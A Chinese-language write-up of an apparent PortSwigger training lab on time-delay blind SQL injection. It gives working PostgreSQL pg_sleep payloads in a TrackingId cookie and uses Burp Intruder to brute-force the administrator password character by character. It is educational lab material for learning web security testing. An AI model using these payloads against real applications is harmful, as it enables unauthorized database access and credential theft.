Lab15_-Blind-SQL-injection-with-time-delays-and-information-retrieval
Lab15_ Blind SQL injection with time delays and information retrieval
前言:
实验室标题为:
带有时间延迟和信息检索的 SQL 盲注
实验室等级:执业者
简介:
本实验室包含一个盲 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 cookie 值的 SQL 查询。
SQL 查询的结果不会返回,应用程序也不会根据查询是否返回任何记录或导致错误而做出任何不同的响应。不过,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。
数据库包含一个名为users的不同表,其中有名为username和password的列。您需要利用盲 SQL 注入漏洞找出管理员用户的密码。
要解决实验问题,请以管理员用户身份登录。
提示:
您可以在我们的 SQL 注入备忘单中找到一些有用的有效载荷。
进入实验室
同样是一个商店页面
构造 payload
这里不使用谷歌插件 EditThisCookie 了,通过 burp 抓包进行注入
打开 burp——开启抓包——数据发送到重放模块
由简介可知,该页面存在 cookie 时间盲注,构造 payload 使页面睡眠 10 秒
TrackingId=x';select case when(1=1) then pg_sleep(10) else pg_sleep(0) end--
相比较于之前,页面成功延迟响应
需要注意的是,注入语句需要进行 url 编码才会生效
选中注入语句——右键——Convert selection——URL——URL-encode key characters
将注入语句中的判断条件改为 1=2,再次发送数据包,验证是否会产生延迟
TrackingId=x';select case when(1=2) then pg_sleep(10) else pg_sleep(0) end--
没有产生延迟,程序立即响应
验证是否存在 administrator 用户
TrackingId=x';SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
响应延迟,确认存在 administrator 用户
确认管理员用户的字符长度
TrackingId=x';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
通过响应时间判断,管理员密码长度为 20
接着确认具体的字符
TrackingId=x';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
发送到爆破模块,标记 1 和字符 a
在Resource pool 设置最大并发请求数为 1
开始爆破,通过接受响应时间判断具体的字符,响应时间超过 10 秒的就是我们需要的值
按顺序将爆破得到的值排序,就得到管理员密码了
4zn0x5hany2jtau01zp5
登录管理员账户,成功通关